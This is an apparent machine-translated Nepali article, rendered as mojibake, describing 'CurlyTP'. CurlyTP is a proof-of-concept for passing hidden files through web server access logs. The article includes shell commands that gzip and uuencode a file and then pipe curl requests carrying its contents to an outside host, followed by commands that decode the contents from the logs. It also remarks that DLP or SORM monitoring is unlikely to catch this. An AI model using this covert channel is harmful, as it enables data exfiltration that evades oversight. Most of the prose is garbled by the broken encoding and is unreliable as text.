рд╕рд░реНрднрд░ рд▓рдЧрд╣рд░реВ рдорд╛рд░реНрдлрдд рдЧреЛрдкреНрдп рд╕рдиреНрджреЗрд╢рд╣рд░реВрдХреЛ рдЖрджрд╛рдирдкреНрд░рджрд╛рди

рд╡рд┐рдХрд┐рдкрд┐рдбрд┐рдпрд╛ рдкрд░рд┐рднрд╛рд╖рд╛ рдЕрдиреБрд╕рд╛рд░, рдПрдХ рдореГрдд рдбреНрд░рдк рдПрдХ рд╖рдбреНрдпрдиреНрддреНрд░ рдЙрдкрдХрд░рдг рд╣реЛ рдЬрд╕рд▓реЗ рдЧреЛрдкреНрдп рд╕реНрдерд╛рди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рд╡реНрдпрдХреНрддрд┐рд╣рд░реВ рдмреАрдЪ рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛ рдХреЗрд╣реА рд╡рд╕реНрддреБрд╣рд░реВ рдЖрджрд╛рдирдкреНрд░рджрд╛рди рдЧрд░реНрди рдХрд╛рд░реНрдп рдЧрд░реНрджрдЫред рд╡рд┐рдЪрд╛рд░ рдпреЛ рд╣реЛ рдХрд┐ рдорд╛рдирд┐рд╕рд╣рд░реВ рдХрд╣рд┐рд▓реНрдпреИ рднреЗрдЯреНрджреИрдирдиреН - рддрд░ рддрд┐рдиреАрд╣рд░реВ рдЕрдЭреИ рдкрдирд┐ рдкрд░рд┐рдЪрд╛рд▓рди рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рдпрдо рд░рд╛рдЦреНрди рдЬрд╛рдирдХрд╛рд░реА рдЖрджрд╛рдирдкреНрд░рджрд╛рди рдЧрд░реНрдЫрдиреНред

рд▓реБрдХреНрдиреЗ рдард╛рдЙрдБрд▓реЗ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдЧрд░реНрдиреБ рд╣реБрдБрджреИрдиред рддрд╕рд░реНрде, рдЕрдлрд▓рд╛рдЗрди рд╕рдВрд╕рд╛рд░рдорд╛ рддрд┐рдиреАрд╣рд░реВ рдкреНрд░рд╛рдпрдГ рд╡рд┐рд╡реЗрдХреА рдЪреАрдЬрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдЫрдиреН: рдкрд░реНрдЦрд╛рд▓рдорд╛ рдЫрд╛рдбрд╛ рдЗрдЯреНрдЯрд╛, рдкреБрд╕реНрддрдХрд╛рд▓рдпрдХреЛ рдкреБрд╕реНрддрдХ, рд╡рд╛ рд░реВрдЦрдорд╛ рдЦреЛрдХреНрд░реЛред

рдЗрдиреНрдЯрд░рдиреЗрдЯрдорд╛ рдзреЗрд░реИ рдИрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд░ рдЕрдЬреНрдЮрд╛рдд рдЙрдкрдХрд░рдгрд╣рд░реВ рдЫрдиреН, рддрд░ рдпреА рдЙрдкрдХрд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рддрдереНрдпрд▓реЗ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдЧрд░реНрдЫред рдердк рд░реВрдкрдорд╛, рддрд┐рдиреАрд╣рд░реВ рдХрд░реНрдкреЛрд░реЗрдЯ рд╡рд╛ рд╕рд░рдХрд╛рд░реА рд╕реНрддрд░рдорд╛ рдЕрд╡рд░реБрджреНрдз рд╣реБрди рд╕рдХреНрдЫрдиреНред рдХреЗ рдЧрд░реНрдиреЗ?

рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛ рд░рд╛рдпрди рдлреВрд▓рд╣рд░реВрд▓реЗ рдПрдХ рд░реЛрдЪрдХ рд╡рд┐рдХрд▓реНрдк рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░реЗ - рд▓реБрдХрд╛рдЙрдиреЗ рдард╛рдЙрдБрдХреЛ рд░реВрдкрдорд╛ рдХреБрдиреИ рдкрдирд┐ рд╡реЗрдм рд╕рд░реНрднрд░ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдпрджрд┐ рддрдкрд╛рдЗрдБ рдпрд╕рдХреЛ рдмрд╛рд░реЗрдорд╛ рд╕реЛрдЪреНрдиреБрд╣реБрдиреНрдЫ рднрдиреЗ, рд╡реЗрдм рд╕рд░реНрднрд░рд▓реЗ рдХреЗ рдЧрд░реНрдЫ? рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫ, рдлрд╛рдЗрд▓рд╣рд░реВ рдореБрджреНрджрд╛рд╣рд░реВ рд░ рд▓рдЧрд╣рд░реВ рд▓реЗрдЦреНрдЫред рд░ рдпрд╕рд▓реЗ рд╕рдмреИ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд▓рдЧрд╛рдЙрдБрдЫ, рдЧрд▓рдд рдкрдирд┐!

рдпреЛ рдмрд╛рд╣рд┐рд░ рдЬрд╛рдиреНрдЫ рдХрд┐ рдХреБрдиреИ рдкрдирд┐ рд╡реЗрдм рд╕рд░реНрднрд░рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рд▓рдЧрдорд╛ рдХреБрдиреИ рдкрдирд┐ рд╕рдиреНрджреЗрд╢ рдмрдЪрдд рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдлреВрд▓рд╣рд░реВ рдпрд╕рд▓рд╛рдИ рдХрд╕рд░реА рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рднрдиреЗрд░ рд╕реЛрдЪрд┐рд░рд╣реЗрдХрд╛ рдерд┐рдПред

рдЙрд╣рд╛рдБрд▓реЗ рдпреЛ рд╡рд┐рдХрд▓реНрдк рдкреНрд░рд╕реНрддрд╛рд╡:

  1. рдкрд╛рда рдлрд╛рдЗрд▓ (рдЧреЛрдкреНрдп рд╕рдиреНрджреЗрд╢) рд▓рд┐рдиреБрд╣реЛрд╕реН рд░ рд╣реНрдпрд╛рд╕ (md5sum) рдЧрдгрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реНред
  2. рд╣рд╛рдореА рдпрд╕рд▓рд╛рдИ рдЗрдиреНрдХреЛрдб рдЧрд░реНрдЫреМрдВ (gzip + uuencode)ред
  3. рд╣рд╛рдореА рд╕рд░реНрднрд░рдорд╛ рдЬрд╛рдирд╛рдЬрд╛рдиреА рдЧрд▓рдд рдЕрдиреБрд░реЛрдз рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд▓рдЧрдорд╛ рд▓реЗрдЦреНрдЫреМрдВред

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

рдлрд╛рдЗрд▓ рдкрдвреНрдирдХреЛ рд▓рд╛рдЧрд┐, рддрдкрд╛рдИрдВрд▓реЗ рдпреА рдХрд╛рд░реНрдпрд╣рд░реВ рдЙрд▓реНрдЯреЛ рдХреНрд░рдордорд╛ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ: рдлрд╛рдЗрд▓рд▓рд╛рдИ рдбрд┐рдХреЛрдб рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рдЕрдирдЬрд┐рдк рдЧрд░реНрдиреБрд╣реЛрд╕реН, рд╣реНрдпрд╛рд╕ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреБрд╣реЛрд╕реН (рд╣реНрдпрд╛рд╕ рдЦреБрд▓рд╛ рдЪреНрдпрд╛рдирд▓рд╣рд░реВрдорд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдкрдорд╛ рдкреНрд░рд╕рд╛рд░рд┐рдд рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ)ред

рд╕реНрдкреЗрд╕рд╣рд░реВ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░рд┐рдПрдХреЛ рдЫ =+=рддрд╛рдХрд┐ рдареЗрдЧрд╛рдирд╛рдорд╛ рдЦрд╛рд▓реА рдард╛рдЙрдБрд╣рд░реВ рдЫреИрдирдиреНред рдХрд╛рд░реНрдпрдХреНрд░рдо, рдЬрд╕рд▓рд╛рдИ рд▓реЗрдЦрдХрд▓реЗ CurlyTP рднрдиреНрдЫрдиреН, рдЗрдореЗрд▓ рд╕рдВрд▓рдЧреНрдирдХрд╣рд░реВ рдЬрд╕реНрддреИ base64 рдПрдиреНрдХреЛрдбрд┐рдЩ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджрдЫред рдЕрдиреБрд░реЛрдз рдПрдХ рдХрд┐рд╡рд░реНрдб рд╕рдВрдЧ рдЧрд░рд┐рдПрдХреЛ рдЫ ?transfer?рддрд╛рдХрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛рд▓реЗ рдпрд╕рд▓рд╛рдИ рд▓рдЧрд╣рд░реВрдорд╛ рд╕рдЬрд┐рд▓реИ рдлреЗрд▓рд╛ рдкрд╛рд░реНрди рд╕рдХреНрдЫред

рд╣рд╛рдореА рдпрд╕ рдорд╛рдорд▓рд╛ рдорд╛ рд▓рдЧ рдорд╛ рдХреЗ рджреЗрдЦреНрдЫреМрдВ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

рдкрд╣рд┐рд▓реЗ рдиреИ рдЙрд▓реНрд▓реЗрдЦ рдЧрд░рд┐рдП рдЕрдиреБрд╕рд╛рд░, рдЧреЛрдкреНрдп рд╕рдиреНрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рддрдкрд╛рдИрдВрд▓реЗ рдЙрд▓реНрдЯреЛ рдХреНрд░рдордорд╛ рдЕрдкрд░реЗрд╢рдирд╣рд░реВ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрд░реНрди рд╕рдЬрд┐рд▓реЛ рдЫред Md5sum рдореЗрд▓ рдЦрд╛рдиреНрдЫ, рд░ рдлрд╛рдЗрд▓рдХреЛ рд╕рд╛рдордЧреНрд░реАрд▓реЗ рд╕рдмреИ рдХреБрд░рд╛ рд╕рд╣реА рд░реВрдкрдорд╛ рдбрд┐рдХреЛрдб рдЧрд░рд┐рдПрдХреЛ рдкреБрд╖реНрдЯрд┐ рдЧрд░реНрджрдЫред

рд╡рд┐рдзрд┐ рдзреЗрд░реИ рд╕рд░рд▓ рдЫред "рдпрд╕ рдЕрднреНрдпрд╛рд╕рдХреЛ рдмрд┐рдиреНрджреБ рдорд╛рддреНрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдЧрд░реНрди рдХреЛ рд▓рд╛рдЧреА рд╣реЛ рдХрд┐ рдлрд╛рдИрд▓рд╣рд░реБ рдирд┐рд░реНрджреЛрд╖ рд╕рд╛рдирд╛ рд╡реЗрдм рдЕрдиреБрд░реЛрдзрд╣рд░реБ рдорд╛рд░реНрдлрдд рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ, рд░ рдпреЛ рд╕рд╛рджрд╛ рдкрд╛рда рд▓рдЧ рд╕рдВрдЧ рдХреБрдиреИ рдкрдирд┐ рд╡реЗрдм рд╕рд░реНрднрд░ рдорд╛ рдХрд╛рдо рдЧрд░реНрджрдЫред рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдкрдорд╛, рдкреНрд░рддреНрдпреЗрдХ рд╡реЗрдм рд╕рд░реНрднрд░ рд▓реБрдХрд╛рдЙрдиреЗ рдард╛рдЙрдБ рд╣реЛ! тАЭрдлреНрд▓рд╛рд╡рд░реНрд╕ рд▓реЗрдЦреНрдЫрдиреНред

рдирд┐рд╕реНрд╕рдиреНрджреЗрд╣, рд╡рд┐рдзрд┐рд▓реЗ рдорд╛рддреНрд░ рдХрд╛рдо рдЧрд░реНрдЫ рдпрджрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛рд╕рдБрдЧ рд╕рд░реНрднрд░ рд▓рдЧрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рдЫред рддрд░ рдпрд╕реНрддреЛ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдзреЗрд░реИ рд╣реЛрд╕реНрдЯрд╣рд░реВ рджреНрд╡рд╛рд░рд╛ред

рдпрд╕рд▓рд╛рдИ рдХрд╕рд░реА рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ?

Ryan Flowers рднрдиреНрдЫрдиреН рдХрд┐ рдЙрдиреА рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рд╣реЛрдЗрдирдиреН рд░ CurlyTP рдХрд╛ рд▓рд╛рдЧрд┐ рд╕рдореНрднрд╛рд╡рд┐рдд рдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдХрдореНрдкрд╛рдЗрд▓ рдЧрд░реНрджреИрдирдиреНред рдЙрд╕рдХреЛ рд▓рд╛рдЧрд┐, рдпреЛ рдЕрд╡рдзрд╛рд░рдгрд╛рдХреЛ рдкреНрд░рдорд╛рдг рдорд╛рддреНрд░ рд╣реЛ рдХрд┐ рд╣рд╛рдореАрд▓реЗ рд╣рд░реЗрдХ рджрд┐рди рджреЗрдЦреНрдиреЗ рдкрд░рд┐рдЪрд┐рдд рдЙрдкрдХрд░рдгрд╣рд░реВ рдЕрдкрд░рдВрдкрд░рд╛рдЧрдд рддрд░рд┐рдХрд╛рдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред

рд╡рд╛рд╕реНрддрд╡рдорд╛, рдпрд╕ рд╡рд┐рдзрд┐рдорд╛ рдЕрдиреНрдп рд╕рд░реНрднрд░ "рд▓реБрдХрд╛рдЙрдиреЗ" рдЬрд╕реНрддреИ рдзреЗрд░реИ рдлрд╛рдЗрджрд╛рд╣рд░реВ рдЫрдиреН рдбрд┐рдЬрд┐рдЯрд▓ рдореГрдд рдбреНрд░рдк рд╡рд╛ рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдмрдХреНрд╕: рдпрд╕рд▓рд╛рдИ рд╕рд░реНрднрд░ рд╕рд╛рдЗрдбрдорд╛ рд╡рд┐рд╢реЗрд╖ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд╡рд╛ рдХреБрдиреИ рд╡рд┐рд╢реЗрд╖ рдкреНрд░реЛрдЯреЛрдХрд▓рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдкрд░реНрджреИрди - рд░ рдЯреНрд░рд╛рдлрд┐рдХ рдЕрдиреБрдЧрдорди рдЧрд░реНрдиреЗрд╣рд░реВрдХрд╛ рдмреАрдЪрдорд╛ рд╢рдВрдХрд╛ рдЙрддреНрдкрдиреНрди рдЧрд░реНрджреИрдиред рдпреЛ рд╕рдореНрднрд╡ рдЫреИрди рдХрд┐ SORM рд╡рд╛ DLP рдкреНрд░рдгрд╛рд▓реАрд▓реЗ рд╕рдВрдХреБрдЪрд┐рдд рдкрд╛рда рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ URL рд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрдиреЗрдЫред

рдпреЛ рд╕реЗрд╡рд╛ рдлрд╛рдЗрд▓рд╣рд░реВ рдорд╛рд░реНрдлрдд рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╕рд╛рд░рдг рдЧрд░реНрдиреЗ рддрд░рд┐рдХрд╛рд╣рд░реВ рдордзреНрдпреЗ рдПрдХ рд╣реЛред рддрдкрд╛рдЗрдБ рдпрд╛рдж рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рдХрд┐ рдХреЗрд╣рд┐ рдЙрдиреНрдирдд рдХрдореНрдкрдиреАрд╣рд░реБ рдХрд╕рд░реА рд░рд╛рдЦреНрдереЗ HTTP рд╣реЗрдбрд░рд╣рд░реВрдорд╛ рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛ рдХрд╛рд░реНрдпрд╣рд░реВ рд╡рд╛ HTML рдкреГрд╖реНрдард╣рд░реВрдХреЛ рдХреЛрдбрдорд╛ред

рд╕рд░реНрднрд░ рд▓рдЧрд╣рд░реВ рдорд╛рд░реНрдлрдд рдЧреЛрдкреНрдп рд╕рдиреНрджреЗрд╢рд╣рд░реВрдХреЛ рдЖрджрд╛рдирдкреНрд░рджрд╛рди

рд╡рд┐рдЪрд╛рд░ рдпреЛ рдерд┐рдпреЛ рдХрд┐ рд╡реЗрдм рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рдорд╛рддреНрд░ рдпреЛ рдИрд╕реНрдЯрд░ рдЕрдгреНрдбрд╛ рджреЗрдЦреНрдиреЗрдЫрдиреН, рдХрд┐рдирдХрд┐ рд╕рд╛рдорд╛рдиреНрдп рд╡реНрдпрдХреНрддрд┐рд▓реЗ рд╣реЗрдбрд░ рд╡рд╛ HTML рдХреЛрдб рд╣реЗрд░реНрджреИрдиред

рд╕рд░реНрднрд░ рд▓рдЧрд╣рд░реВ рдорд╛рд░реНрдлрдд рдЧреЛрдкреНрдп рд╕рдиреНрджреЗрд╢рд╣рд░реВрдХреЛ рдЖрджрд╛рдирдкреНрд░рджрд╛рди

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди